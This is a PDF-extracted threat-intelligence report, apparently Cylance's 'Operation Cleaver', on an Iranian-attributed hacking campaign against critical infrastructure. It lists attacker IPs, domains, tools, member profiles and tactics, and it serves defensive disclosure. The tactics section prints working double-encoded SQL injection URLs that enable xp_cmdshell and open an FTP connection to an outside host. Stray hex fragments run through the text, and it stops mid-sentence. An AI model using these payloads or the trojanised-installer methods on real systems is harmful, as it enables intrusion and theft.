Infrastructure leveraged in the attack was registered in Iran to the corporate entity Tarh + Andishan, which translates to +invention + or +innovation + in Farsi. + Source netblocks and ASNs are registered to Iran. + Hacker tools warn when their external IP address traces back to Iran. + The infrastructure is hosted through Netafraz.com, an Iranian provider out of Isfahan, Iran. + The infrastructure utilized in the campaign is too significant to be a lone individual or a small + group. We believe this work was sponsored by Iran. + Operation Cleaver Targets Critical Infrastructure Around the World + US Military targets including NMCI in October 2013.5 Confirmed targeting of global + government entities. + Networks and systems targeted in critical industries like energy and utilities, oil and gas, and + chemical companies. + Assets (both cyber and physical) and logistics information were compromised at major airline + operators, airports, and transportation companies. + Various global telecommunications, technology, healthcare, aerospace, and defense + companies were breached as part of the operation. + Confidential critical infrastructure documents were harvested from major educational + institutions around the world. + Iran +s Cyber Hacking Skills Have Evolved + Initial compromise techniques include SQL injection, web attacks, and creative deception- + based attacks + all of which have been implemented in the past by Chinese and Russian + hacking teams. + Pivoting and exploitation techniques leveraged existing public exploits for MS08-067 and + Windows privilege escalations, and were coupled with automated, worm-like propagation + mechanisms. + Customized private tools with functions that include ARP poisoning, encryption, credential + dumping, ASP.NET shells, web backdoors, process enumeration, WMI querying, HTTP and + SMB communications, network interface sniffing, and keystroke logging. + The ability to build customized tools to compromise any target they choose. + #OPCLEAVER + Indicators of Compromise (IOC) + Private signing certificates of one victim were captured allowing the Operation Cleaver team to + compromise the entirety of their organization. + Over the past two years, Cylance has collected over 8GB of data including over 80,000 files of + exfiltrated data, hacker tools, victim logs, and highly sensitive reconnaissance data. + Data from sinkholed command and control servers has allowed us to track this active campaign. + Cylance is releasing more than 150 IOCs and samples associated with the Cleaver campaign to + empower the security community to detect existing compromises in their own organizations, as + well as potentially block future attacks from these teams. + Speculation + 6f20476 f64 + This campaign continues Iran +s retaliation for Stuxnet, Duqu, and Flame. + 44 + This is a state-sponsored campaign. + 20 + There is a possibility that this campaign could affect airline passenger safety. + This campaign +s intentions may be to damage Industrial Control Systems (ICS), Supervisory + c + c2 + Control and Data Acquisition (SCADA) systems, and impact Critical Infrastructure and Key + Resources (CIKR). + 04576696 + This campaign could be a way to demonstrate Iran +s cyber capabilities for additional + geopolitical leverage, due to the breadth and depth of their global targets. + There is an intense focus on CIKR companies in South Korea, which could give Iran additional + clout in their burgeoning partnership with North Korea. In September 2012, Iran signed an + extensive agreement for technology cooperation agreement with North Korea, which would + allow for collaboration on various efforts including IT and security.6 + Iran is recruiting from within the universities and potentially using +hackers for hire + 6b2 + 6e + 9 + 86 + 546 + 11 + TARGETS & VICTIMS + 6f20476f6f64 + 044 + 2 + c + c2 + b204576696 + 6e6 + 9 + 686 + 54 + #OPCLEAVER + #OPCLEAVER + TARGETS & VICTIMS + The Cleaver team targets some of the most sensitive global critical infrastructure companies in the + world, including military, oil and gas, airlines, airports, energy producers, utilities, transportation, + healthcare, telecommunications, technology, manufacturing, education, aerospace, Defense + Industrial Base (DIB), chemical companies and governments. Countries impacted include Canada, + China, England, France, Germany, India, Israel, Kuwait, Mexico, Pakistan, Qatar, Saudi Arabia, South + Korea, Turkey, United Arab Emirates, and the US. + The following is a breakdown by country of which industries were targeted and/or victimized: + Canada Kuwait South Korea + - Energy & Utilities + 6f20476 f64 + - Oil & Gas - Airports + - Oil & Gas + 44 - Telecommunications - Airlines + 20 Mexico + - Hospitals - Education + - Technology + c + China - Oil & Gas - Heavy Manufacturing + c2 + - Aerospace + 04576696 + Pakistan Turkey + - Airports - Oil & Gas + England + - Education - Hospitals + - Technology United Arab Emirates + France - Airlines - Government + - Oil & Gas - Airlines + 2 + Qatar + b + Germany - Oil & Gas + United States + 6 + - Government + e + - Telecommunications - Airlines + - Airlines + 6 + - Education + 9 + India 86 - Chemicals + - Education Saudi Arabia - Transportation + 546 - Oil & Gas - Energy & Utilities + - Airports - Military/Government + Israel - Defense Industrial Base + - Aerospace + - Education + 13 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 + Cleaver +s level of access into each organization varied greatly, including completely compromised + systems and networks, Active Directory domain controllers and credentials, compromised data + repositories and stolen VPN credentials. + Compromised systems include Microsoft Windows web servers running IIS and ColdFusion, + Apache with PHP, many variants of Microsoft Windows desktops and servers, and Linux servers. + Compromised network infrastructure included Cisco VPNs as well as Cisco switches and routers. + Unlike Stuxnet, no exotic exploitations (such as 0-days) were observed. + Within our investigation, we had no direct evidence of a successful compromise of specific + Industrial Control Systems (ICS) or Supervisory Control and Data Acquisition (SCADA) networks, but + Cleaver did exfiltrate extremely sensitive data from many critical infrastructure companies allowing + them to directly affect the systems they run. This data could enable them, or affiliated organizations, + to target and potentially sabotage ICS and SCADA environments with ease. + We discovered over 50 victims in our investigation, distributed around the globe. Ten of these + victims are headquartered in the US and include a major airline, a medical university, an energy + company specializing in natural gas production, an automobile manufacturer, a large defense + contractor, and a major military installation. The four targets in Israel and the five targets in Pakistan + are comprised of education, aerospace, airports, airlines, healthcare and technology. Further victims + were identified in numerous Middle Eastern countries as well as ones in Northern Europe including + the UK, France, and Germany. Central America was not immune either with a large oil and gas + company on the list. In fact, oil and gas was a particular focal point for the Cleaver team, going after + no less than nine of these companies around the world. + Universities were targeted in the US, India, Israel, and South Korea. The attackers targeted research + efforts, student information, student housing, and financial aid systems. They had a penchant for + pictures, passports, and any specifc identifying information. + Perhaps the most bone-chilling evidence we collected in this campaign was the targeting and + compromise of transportation networks and systems such as airlines and airports in South Korea, + Saudi Arabia and Pakistan. The level of access seemed ubiquitous: Active Directory domains + were fully compromised, along with entire Cisco Edge switches, routers, and internal networking + infrastructure. Fully compromised VPN credentials meant their entire remote access infrastructure + and supply chain was under the control of the Cleaver team, allowing permanent persistence + under compromised credentials. They achieved complete access to airport gates and their security + control systems, potentially allowing them to spoof gate credentials. They gained access to PayPal + and Go Daddy credentials allowing them to make fraudulent purchases and allowed unfettered + access to the victim +s domains. We were witnessed a shocking amount of access into the deepest + parts of these companies and the airports in which they operate. + #OPCLEAVER + COUNTRIES TARGETED + 4 6 + 1 2 + 3 + B + A A 5 B 22 + B + A A 7 + B + A 21 + B 23 + B B + 13 B + 6f20476 f64 + 44 + 20 + c + c2 + 04576696 + 24 17 15 + 30 + 8 + 9 + 12 16 + 8 + 10 + 11 + 29 25 + 33 35 14 + 20 19 18 + 34 26 + 28 + 32 31 + 27 + A B + 31 + 2 + 27 + 6b + 6e + TARGET LOCATIONS + 9 + 86 + 1. Canada - Calgary 13. Mexico - Mexico City 25. UAE - Abu Dhabi + 2. Canada - Hamilton 546 14. Pakistan - Karachi (2) 26. UAE - Al Garhoud + 3. China - Beijing 15. Pakistan - Lahore 27. USA - California - Los Angeles (2) + 4. England - Oxford 16. Pakistan - Multan 28. USA - California - San Diego + 5. France - Paris 17. Pakistan - Peshawar 29. USA - California - San Jose + 6. Germany - Dusseldorf 18. Qatar - Doha (4) 30. USA - Michigan - Dearborn + 7. Germany - Frankfurt 19. Saudi Arabia - Dhahran 31. USA - Texas - Houston (2) + 8. India - New Delhi (2) 20. Saudi Arabia - Jeddah 32. USA - Texas - Fort Worth + 9. Israel - Haifa (3) 21. South Korea - Incheon 33. USA - Texas - Southlake + 10. Israel - Rehovot 22. South Korea - Goyang-si 34. USA - Virginia - Fairfax + 11. Kuwait - Ahmadi 23. South Korea - Seoul (7) 35. USA - Virginia - McLean + 12. Kuwait - Kuwait City 24. Turkey - Antalya + Figure 2: Geographic distribution of victims, as determined by the global headquarters of the parent + company or organization breached. + 15 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 + INDUSTRIES TARGETED + HIGH + LEVEL OF ACCESS + MEDIUM + LOW + GY + S + E + N + AS + G + L + N + N + LS + T + AC + LS + O + S + ES + IA + IN + LO + O + S + O + EN + G + RT + I + A + IE + TR + AT + UR + A + I + I + SP + AT + AT + IN + O + IC + & + M + IT + IT + O + UC + US + RL + N + T + RO + EM + RT + RN + IC + IL + SP + IL + RP + CH + AC + UT + UN + O + AI + D + ED + O + VE + AE + CH + O + AI + IN + UF + TE + SP + H + M + & + O + SE + M + AN + AN + G + GY + CO + EN + M + ER + TR + LE + EF + EN + TE + D + LEVEL OF CRITICAL IMPACT + Figure 3: Number of Cleaver victims by the level of access obtained as well as the level of critical impact potential. + ATTRIBUTION + 6f20476f6f64 + 44 + 20 + c + c2 + b204576696 + 6e6 + 86 + 546 + #OPCLEAVER + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 +ATTRIBUTION +Despite today +s trend toward attacker attribution, we believe +it offers little real benefit to the day-to-day cyber defender. +However, in this report we offer our observations on the +sources of Operation Cleaver in order to benefit those that +rely on attribution such as Law Enforcement. +Operation Cleaver is believed to consist of at least 20 +hackers and developers, collaborating on projects and +missions to support Iranian interests. Many of the targets were +predominately English-speaking and a majority of the team +members were capable of reading and writing in English. We +present evidence that this team is operating, at least in part, +out of Iran and in the interests of Iran. The skills and behavior +of the Operation Cleaver teams are consistent with, and in +one case surpasses, Iran +s cyber capabilities as we know +them today. +For a complete list of IPs and domains related to this +campaign, please refer to the Indicators of Compromise Figure 4: The logo of the Army of the + Guardians of the Islamic Revolution, +section. + also known as the Islamic Revolutionary + Guard Corps (IRGC). +ATTACKER IP ADDRESSES +Over the course of multiple incident response engagements related to Operation Cleaver, we +were able to identify a small set of IP addresses which were commonly used during the initial +stages of an attack. +The IP address 78.109.194.114 served as a source for one of the primary attackers. +They were observed conducting SQL injections, controlling backdoors, as well as exfiltrating +information using this address, and the address appears in multiple software configurations +recovered from staging servers over a period of time. + GeoIP Location: Iran + Net block: 78.109.194.96 - 78.109.194.127 + Owner: Tarh Andishan + Email: tarh.andishan(at)yahoo.com + Phone: +98-21-22496658 + NIC-Handle: TAR1973-RIPE + #OPCLEAVER + This IP address was also observed in multiple software configurations. This particular net block + was used over an extended period of time, indicating these were under the Cleaver team + physical control. Additionally, prior netblocks used by the same team demonstrated to us that + this wasn +t simply a case of proxying or +island hopping +. For more information see the Tarh + Andishan section of this report. + The IP address 159.253.144.209 was a source for a secondary attacker in various + compromises. They were observed conducting SQL injection attacks. While this IP was this + registered in the Netherlands, we believe they used Softlayer +s Citrix demo environment to + launch these attacks which is consistent with proxying or +island hopping + GeoIP Location: Netherlands + Net block: 159.253.144.208 - 159.253.144.223 + ASN: Softlayer Technologies, Inc. + 20476 f64 + IP Location: Netherlands, Amsterdam with Iranian sourcing. + 46f + 04 + ATTACKER 2DOMAINS + c + c2 + A number of Cleaver +s attack methods require a persistent server. In many cases, these servers + were referenced by domain names. The following malicious domains are operated by this + 04576696 + organization and are grouped by the registrant +s email address. + davejsmith200(at)outlook.com azlinux73(at)gmail.com + + Teledyne-Jobs.com + MicrosoftServerUpdate.com + + DownloadsServers.com + WindowsSecurityUpdate.com + + NorthropGrumman.net + WindowsServerUpdate.com + 2 + + MicrosoftMiddleAst.com + b + domain(at)netafraz.com + 6 + salman.ghazikhani(at)outlook.com + EasyResumeCreatorPro.com + e + + Doosan-Job.com + MicrosoftWindowsResources.com + 96 + 6 + btr.8624(at)yahoo.com + 8 msnhst(at)microsoft.com + + 546 + GoogleProductUpdate.net + MicrosoftWindowsUpdate.net + + WindowsCentralUpdate.com + + WindowsUpdateServer.com + + DriverCenterUpdate.com + As is typical with malicious domains, the Whois data for most of these domains contained falsified + information. + We managed to obtain a large collection of the internally developed tools used by the Cleaver + team, many of which were developed by its members. Due to operational security failures, these + tools contain information that provided us insight into their organization and operations. + 19 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 +TOOLS & SOFTWARE +Shell Creator 2 +In the tool named Shell Creator 2, there are three main components. The creator generates +an ASPX web shell using user input as well as a collection of templates. The web shell could +then be installed via xp_cmdshell, or any other method which would grant the attacker write +access. The web shell is accessible by the shell client directly. +The shell client is a portion of Shell Creator 2 that was not designed to be run on a compromised +computer. We originally located it on a staging server being utilized for multiple attacks as well as +a tool for sharing data between members of the organization +s team. +The shell client, which is developed in Java and is easily decompiled, is a simple interface with +a feature to protect the operator from making a critical mistake. When executed, and before +any connection to an instance of the web shell is initiated, the shell client communicates with +freegeoip.net in order to get the external IP address of the current user. The country of origin +is then shown to the user, to inform them of what country it appears they are connecting from. +The assumed purpose of this feature is to ensure that a proper proxy is in use, and the real origin +of the attacker is not revealed. +After decompiling the shell client, we found the following code segment controlling the display of +this IP location information. + Figure 5: Java source code showing how Shell Creator 2 distinguishes between a source IP address + coming from Iran (red) versus any other country (green). +This code handles the XML response from freegeoip.net, and displays the information +as different colors based on different attributes. For instance, if the string +ERROR + is in the +response, the text is displayed with the color magenta. If the string IRAN is in the response, the +text is displayed with the color red. It should be noted that no other country name contains the +substring IRAN. + #OPCLEAVER + Shell Creator 2 (cont.) + Figure 6: Shell Creator 2 alerts the user in red when the IP being used can be sourced to Iran. + 6 f 20476 f64 + Figure 7: Shell Creator4 + 4 2 notifies the user in green when their source IP address is not Iran. + 20 + c + c2 + Net Crawler + 04576696 + Net Crawler is a tool developed in C# that exhibits worm-like behavior in order to gather cached + credentials from any and all accessible computers on an infected network. This is done with + Windows Credential Editor (WCE) and Mimikatz in combination with PsExec. Different versions of + this malware contain ASCII art which names the authoring group as Zhoupin (in +leetspeak +Zh0up!n + 6b2 + 6e + 9 + 86 + 546 + Figure 8: Net Crawler version 1.0 has ASCII art showing Figure 9: Updated ASCII art found in Net + the use of +Zh0up!n + in the campaigns tools. Crawler tool shows a version of +Zh0up!n + shortened to simply + For more information on Net Crawler, see the Tactics, Techniques and Procedures section. + 21 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 +TinyZBot +TinyZBot is a bot written in C# and developed by the Cleaver team. It is the longest developed +malware family discovered by this group, and has been used in campaigns for close to two +years. How it operates can vary greatly from version to version. For a detailed technical analysis +of TinyZBot, see the Tactics, Techniques and Procedures section. As TinyZBot is developed in +C#, many versions can be decompiled to code very similar to their originals, including names +of namespaces. Many versions were obfuscated with a legitimate tool for developers named +SmartAssembly, which makes the recovery of some names implausible. +We obtained multiple versions from which we were able to recover many of the original names of +variables and namespaces. In a number of these samples, the primary namespace for TinyZBot +is named Zhoupin_Cleaver. In every version of TinyZBot that is not obfuscated, there is a +code base referred to as Cleaver. This code base is also shared in other malware developed by +this organization, such as Csext. +PrivEsc +PrivEsc is a blatant plagiarism of an existing exploit for Microsoft Windows released in January +2010 called MS10-015, +Vulnerabilities in Windows Kernel Could Allow Escalation of Privilege +popularly known as the KiTrap0D exploit which was released publicly. The Cleaver team clearly +modified the source code and compiled a new version. The only detectable modification was to +change the original author +s name to instead display the following: + Zhopin Exploit Team +This is not the only case of this team relabeling others + work as their own. +Logger Module +Logger module is a component of the PVZ (PVZ is shorthand for Parviz, one of the members of +the Cleaver team) bot tool chain. When executed, it will capture the user +s keystrokes and save +them to a location which PVZ bot then exfiltrates. The logger module binary +s file description +value is the following: + ye file khube DG. ba in ham kari nadashte bashin +Roughly translated from Persian, this text says: + DG is a good file, don +t bother with this + #OPCLEAVER + Logger Module (cont.) + This text could potentially be a note intended to stay internal, or could be an attempt to persuade + an unsuspecting victim to assume the file is not malicious. The Product Name value is GOOD FILE. + For more information on the PVZ bot tool chain, see the Tactics, Techniques, and Procedures + section. + CCProxy + CCProxy is a publicly available proxy server for Windows, which can handle a variety of protocols. + We do not believe that this organization was involved in the development or modification of + CCProxy, but they have been observed using it. We recovered a CCProxy configuration, which + exposed various operational details. + 6f 2 0476 f64 + 4 as well as a + The configuration allowed for remote + 4 + 20 was User-001, + connections, limited by a username + limited IP range. The username + c + which is the default value. The limited IP range + c2 + covered one IP: 78.109.194.114. + 04576696 + This IP address is located in Iran, and is owned by + Tarh Andishan. + The configuration also indicates which address + the CCProxy server should listen on for incoming + connections such as web (80) and mail (25). + 6b2 + 6e + 9 + 86 + 546 + Figure 10 (above): CCProxy configuration file + using the hardcoded IP address registered to Tarh + Andishan. + Figure 11 (left): CCProxy configuration file showing the + use of web and mail as listening ports. + 23 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 + NMAP Log + Log output from the network port scanning application NMAP was recovered from a staging + server. This log was generated during the usage of the nbrute utility, which brute-forces network + credentials and relies on NMAP to do so. The header of this NMAP log indicates that the computer + used to run nbrute/nmap was set to Iran Daylight Time at the time of execution. + Starting Nmap 6.25 at 2012-08-17 09:18 Iran Daylight Time + With no known victims located in Iran, it is likely that this was executed on an attacker +s computer, + and not on a victim +s computer. + Squid Configuration + A configuration file for a Squid proxy server was recovered. + Figure 12: Squid configuration file showing the use of Tarh Andishan +s IP address. + The net range of 78.109.194.114/28 was inserted into the allowed local networks with an RFC + comment appended in order to make it look like it was part of the default configuration. It is likely + this is the same reason a /28 net range was used, in order to not look like it was intended to only + allow one IP. This would give the same access to resources accessible from the Squid proxy server + to this Iranian IP address. + TARH ANDISHAN + Tarh Andishan is listed as the registrant for a number of small net blocks based upon the email + address tarh.andishan(at)yahoo.com. The net blocks appear to rotate over time and + registrant information is altered to accommodate ongoing operations and avoid potential public + exposure. + #OPCLEAVER + TARH ANDISHAN (cont.) + The networks are included below as well as the last time that net block was observed as active. + + 78.109.194.96/27 - Current + + 217.11.17.96/28 - 10/22/2014 + + 81.90.144.104/29 - 10/5/2014 + + 31.47.35.0/24 + 11/2012 + There are many seemingly legitimate Tarh Andishan related companies inside Tehran, but strong + connections to Iranian backing have been difficult to prove definitively. +Tarh Andishan + is often + translated as +Thinkers +Innovators + and +Inventors + 6 f 20476 f64 + The net blocks above have strong associations with state-owned oil and gas companies. These + 4 + companies have current and former employees who are ICS experts. + 4 + Tarh Andishan has been 2 + 0 + suspected in the past of launching attacks in the interest of Iran. The + c + operators of the blog IranRedLine.org, which comments on Iran +s nuclear weapons efforts, has + c2 + mentioned in multiple posts having been the target of debilitating brute-force authentication attacks + 04576696 + from IP addresses registered to the same Tarh Andishan team found in Cleaver. + In one of IranRedLine.org +s blog posts8, the author speculates on Tarh Andishan +s involvement + with the Iranian government by showing close proximity to SPND, the Organization of Defensive + Innovation and Research; however, the phone number listed under the registrant contact + information has yet to be completely validated. + 6b2 + 6e + 9 + 86 + 546 + Figure 13: This image from IranRedLine.org demonstrates Tarh Andishan +s probably fabricated Whois + address to the proximity to Iran +s SPND (Organization of Defensive Innovation and Research). + 25 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 +MEMBERS +During this investigation, we were able to compile a considerable amount of information on some of +the members of this organization. The following profiles were built from reverse engineering, code +analysis, open source intelligence, incident response and forensics work. Personally identifiable +information about these members is not being shared publicly as it could endanger their lives and +would be irresponsible. +Parviz +Parviz is a developer who worked on a variety of projects, and was primarily active in 2013. His +development skillset is based around his ability to develop in C/C++. He has been observed using +Visual Studio 2010, and his tools are written exclusively for Windows. Some of his tools were found +to be packed with ASPack. +Parviz is the primary developer of the PVZ bot and multiple parts of its tool chain. Parviz is likely +associated with the PVZ bot as his name in hardcoded into the PDB file paths. +The PVZ tool chain includes a variety of functionality, such as HTTP command and control +communications with an ASPX server-side component, a denial of service tool they developed, and +the public project named XYNTService used to run ordinary applications as services. +PDBs + C:\Users\parviz\documents\visual studio 2010\Projects\BotManager\ +Release\BotManager.pdb + C:\Users\parviz\Documents\Visual Studio 2010\Projects\socket-test\ +Release\socket-test.pdb + C:\Users\parviz\Documents\Visual Studio 2010\Projects\ +XYNTServiceProject\XYNTServiceProject\Debug\XYNTService.pdb + C:\Users\Parviz\documents\visual studio 2010\Projects\SendModule\ +Release\SendModule.pdb + #OPCLEAVER + Nesha + Nesha is one of the offensive members of this organization. Nesha was seen in breaches involving + SQL injection as well as other techniques. Nesha often utilized web-based backdoors developed + in ASPX, PHP as well as ColdFusion. A copy of an MS08-067 exploit developed in Python was + recovered in which Nesha shamelessly replaced the original author +s name with his own. + Nesha +s passwords very commonly include own handle. His passwords were frequently stored + as hashes in backdoors, but common hash cracking methods were able to recover the plaintext + versions. His observed password use is as follows: + nesha nesha used as password in ColdFusion backdoors + NeshaNesha12 used as password in ASPX backdoors. + 20476 f64 + nesha123 was found as a password in a recovered credential file with unknown association + 4 6 f + 0 4 + Cylance observed Nesha participating in compromises involving the following techniques: + SQL injection + 2 + c + c2 + Web backdoors + Cached credential dumping + 04576696 + Nesha has additionally been identified using a variety of internally developed tools as well as the + following publicly available tools: + Cain & Abel + PsExec + 2 + PLink + b + NetCat + e6 + Alireza + 96 + 86 + Alireza appears to be one of the senior developers of this organization. His tools are commonly + 546 + developed in C++, Java, and C# (desktop and ASPX). These tools are often support tools, either + monitoring the activity of other tools or supplementing the function of other tools gathering + information during the infiltration process. Alireza +s code appears to be reused internally on + projects such as TinyZBot. Alireza appears to be using a version control system for his code, and + it is likely that others are using the same system. Based on the paths, the version control system in + use is likely Apache +s Subversion. Use of a version control system is indicative of code sharing, but + the use of an older system like Subversion, along with other evidence, suggests there is not a large + amount of collaboration on projects and likely one developer working on each project at a time. + This is not behavior typical of a professional development team. + 27 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 +Alireza (cont.) +Alireza +s C# tools include the following techniques: + Querying Windows Management Instrumentation Command-line (WMIC) + Cached credential dumping + Generating ASPX shells + Encryption + Process enumeration +Alireza +s Java tools include the following techniques: + HTTP communications + GUI development +Alireza +s C++ tools include the following techniques: + WinPcap interface + ARP poisoning + HTTP communications + SMB communications +PDBs + C:\Users\alireza\Documents\Visual Studio 2010\CPPProjects\IDCSercive\ +trunk\Release\kagent.pdb + C:\Users\alireza\Documents\Visual Studio 2010\CPPProjects\ +PcapServiceInstaller\Release\PcapServiceInstaller.pdb + C:\Users\alireza\Documents\Visual Studio 2010\Projects\ +AntiVirusDetectorConsole\AntiVirusDetectorConsole\obj\x86\Release\ +AntiVirusDetectorConsole.pdb + C:\Users\alireza\Documents\Visual Studio 2010\Projects\ +mimikatzWrapper\mimikatzWrapper\obj\x86\Debug\mimikatzWrapper.pdb + C:\Users\alireza\Documents\Visual Studio 2010\Projects\ShellCreator2\ +ShellCreator2\obj\x86\Debug\ShellCreator2.pdb + c:\Users\alireza\Documents\Visual Studio 2012\Projects\BackDoorLogger\ +BackDoorLogger\obj\Debug\BackDoorLogger.pdb + #OPCLEAVER + kaJ + kaJ is a .NET developer, and has only been observed working in C#. He has less English language + proficiency than others in the organization, and likely has a supplemental role during compromises. + He has been observed developing tools which cater to specific challenges in a compromise. His + notable project was named Net Crawler, and a technical analysis of this tool can be found in the + Tactics, Techniques and Procedures section. Thanks to a recovered test configuration for Net + Crawler, we were able to determine that kaJ +s development computer has the name dev-castle, + where he has the username kaJ and the password oaolrJ@vad. kaJ is believed to be the creator + of the Zhoupin ASCII art displayed in Net Crawler. + kaJ +s projects include the following techniques. + 20476 f64 + Interfacing with multiple cached credential dumping tools + Interfacing with PsExec + 46f + Worming behavior 4 + 20 + Jimbp + c + c2 + 04576696 + Jimbp is a .NET developer with minimal experience. His projects appear to be supplemental to + TinyZBot and are very simplistic. It is believed he is the developer of the project Binder_1. This + project was a simple malware binder which required manual configuration when compiling. His + other work included creating a new service wrapper for TinyZBot. + PDBs + 2 + c:\Users\Jimbp\Desktop\Binder_1\Binder_1\obj\x86\Release\Setup.pdb + b + c:\Users\Jimbp\Desktop\Binder_1 - for cleaver\Binder_1\obj\x86\ + e6 + Release\Setup.pdb + 6 + c:\Users\Jimbp\Documents\Visual Studio 2013\Projects\ + 9 + TestForInstallingService\TestForInstallingService\obj\Release\ + 86 + TestForInstallingService.pdb + 546 + 29 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 + TEAMS + Of course many associated Iranian hacker teams have been identified in public and private + security circles. Some of the teams publicly known today include Iranian Cyber Army, Ashiyane, + Islamic Cyber Resistance Group, Izz ad-Din al-Qassam Cyber Fighters, Parastoo, Shabgard, Iran + Black Hats and many others9. + However, even though the TTPs of the Cleaver team have some overlap to techniques used by + Iranian Cyber Army (botnets), Ashiyane (SQL injection) and Syrian Electronic Army (phishing and + RATs), we believe this is largely the work of a new team. Some connections to Ashiyane were + discovered in our investigations including a reference to hussein1363, who had prior ties to + the hacker group. Additional connections between team members and individuals exist but are + predominantly speculative and have only been shared with law enforcement. + Ultimately we believe the Cleaver team is a mix of existing team members and new recruits + pulled from the universities in Iran. + #OPCLEAVER + TACTICS, TECHNIQUES + & PROCEDURES + TTP COVER HERE + 6f20476f6f64 + 044 + 2 + c + c2 + c2b204576696 + 6f20476 f64 + 44 + 20 + 6c + 6e + 04576696 + 9 + 686 + 54 + 6b2 + e + 96 + 86 + 546 + #OPCLEAVER + 31 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 +TACTICS, TECHNIQUES & PROCEDURES +The Cleaver campaign used a variety of methods in multiple stages of attacks. In this section we +cover the commonly observed methods during different stages of the attack. +INITIAL COMPROMISE +The initial compromise gets the attackers their first foothold into the target network. Once the +ability to execute arbitrary code has been established, an attacker +s job becomes quite a bit +easier. Since the vector of initial compromise is usually determined by what is vulnerable on the +target, we +ll cover just a few of the techniques we +ve seen Operation Cleaver use to initiate the +compromise. +SQL Injection +SQL injection is a very common and simple attack method. It is made possible by a lack of input +sanitization by the vulnerable application before supplying that input into a SQL database query. +SQL injection payloads used by this organization have been double encoded. Double encoding +SQL injection payloads allows for bypassing of various anti-exploitation filters, such as those +supplied by Web Application Firewalls (WAFs). +The attackers would enable xp_cmdshell: +http://localhost/Demos/demo.cfm?Edit%26ID=111;declare%20@b1%20varchar(8000);set%20@ +b1=%20show advanced options;declare%20@b2%20varchar(8000);set%20@b2=%20xp_ +cmdshell;%20EXEC%20master.dbo.sp_configure%20@b1,%201;RECONFIGURE;EXEC%20master.dbo. +sp_configure%20@b2,%201;RECONFIGURE;--%20 +Then connect outbound via anonymous FTP: +http://localhost/Demos/demo.cfm?Edit%26ID=111;declare%20@b1%20varchar(8000);set%20@ +b1=%20ftp -A 108.175.152.230;%20exec%20master..xp_cmdshell%20@b1--%20 +Spear-Phishing Campaign +Using messaging methods such as email, attackers can social engineer users into downloading +and executing software, which quietly installs malware alongside of the desired program. +Operation Cleaver has employed this technique numerous times across different organizations. + #OPCLEAVER + EasyResumeCreatorPro.com + The domain EasyResumeCreatorPro.com was registered and a website setup which was a direct + copy of a legitimate website at winresume.com. This is how the original site looked: + 6 f20476 f64 + 4 4 + 20 + Figure 14: The original Easy R + Creator Pro website on winresume.com is legitimate. + c + c2 + b204576696 + e6 + 96 + 86 + Figure 15: The fraudulent website, easyresumecreatorpro.com, is a fraudulent copy of the Easy + 546 + Resume Creator Pro website to lure job candidates to download and install their TinyZBot agent. + That +s not all they copied. In order to infect users, they combined the original Easy Resume Creator + Pro product with malware by using a binder they developed internally named Binder_1. A binder + is an application, which combines two executables (desired software and malware) into a single + executable. + The resulting executable masquerades as the desired software. The purpose is deception, to make + the binder indistinguishable from the desired application. When executed, both applications are + written to a temporary directory and executed. This way it appears that the desired application was + executed, but the malware was also executed silently. + 33 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 +Teledyne R + Submitter + This attack evolved to appear more legitimate. The + attackers made the victims feel like they had a pending + job opportunity at the industrial conglomerate Teledyne. In + order to take advantage of this job opportunity, the victim + needed to use the fake r + submission application + supplied by the malicious recruiter. Multiple domains were + registered in order to make the download sites seem more + realistic. These domains included other companies as they + tried to hit a wider audience. +Figure 16: When the r + submitting +application is executed, a splash screen is +displayed. + Teledyne-Jobs.com + + Doosan-Job.com + + NorthropGrumman.net + At this point, the r + submission application checks the + Internet connection. If it is unable to connect to the Internet, + it will display a window to input proxy information. + When this information is entered, the results are cached + in a location the dropped malware can access. After an + Internet connection is ensured, the malware (TinyZbot) is + dropped and executed. This clever scheme makes sure the + malware can connect to the command and control server, +Figure 17: Unable to connect to the Internet, the + and increases the chances that domain credentials are +tool prompts the user for proxy configuration +information. cached on the now infected machine. Shortly after, the main + application is launched. +Figure 18: Final r + submission form +displays to the user while the malware runs +freely in the background. + #OPCLEAVER + Teledyne R + Submitter (cont.) + The first r + submission form requests contact information. This form, like the rest of the + submission forms, only stores the submitted information while the application is running. As the + infected user is going through and filling out all this information, the malware is running in the + background, logging their keystrokes, retrieving their stored passwords, etc. Once all the forms are + filled out, the user goes to the submission form. + 6f20476 f64 + 44 + 20 + c + c2 + b204576696 + 6 + Figure 19: GET request to www.microsoft.com fakes the r + submission. + 6e + 9 + 86 + 546 + When the victim hits submit, the r + submitter does a GET request to microsoft.com in order + to make it seem like it is submitting something, then claims success. + This method is particularly effective not only because of its level of deception, but even if the victim + suspects that they are infected with malware, they are not as likely to speak up about it, as they + would need to explain why they were submitting a job application for another company. + 35 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 +PRIVILEGE ESCALATION & PIVOTING +Privilege escalation is a category of techniques that describe the process of going from a less +privileged user on a compromised computer to a more privileged user. This increase in privileges +allows for the attacker to gain access to privleged areas of the operating system as well as to +infect other computers on the target network. +This team did not utilize any novel methods of privilege escalation, but they were observed +using a variety of publicly known exploits. PrivEsc is a compiled exploit, which leverages +the vulnerability commonly referred to as KiTrap0D (CVE-2010-0232). The exploit allows for +escalation of privileges on unpatched Windows operating systems from an unprivileged user to +kernel-level privilege. +This vulnerability and the corresponding exploit were discovered and developed in 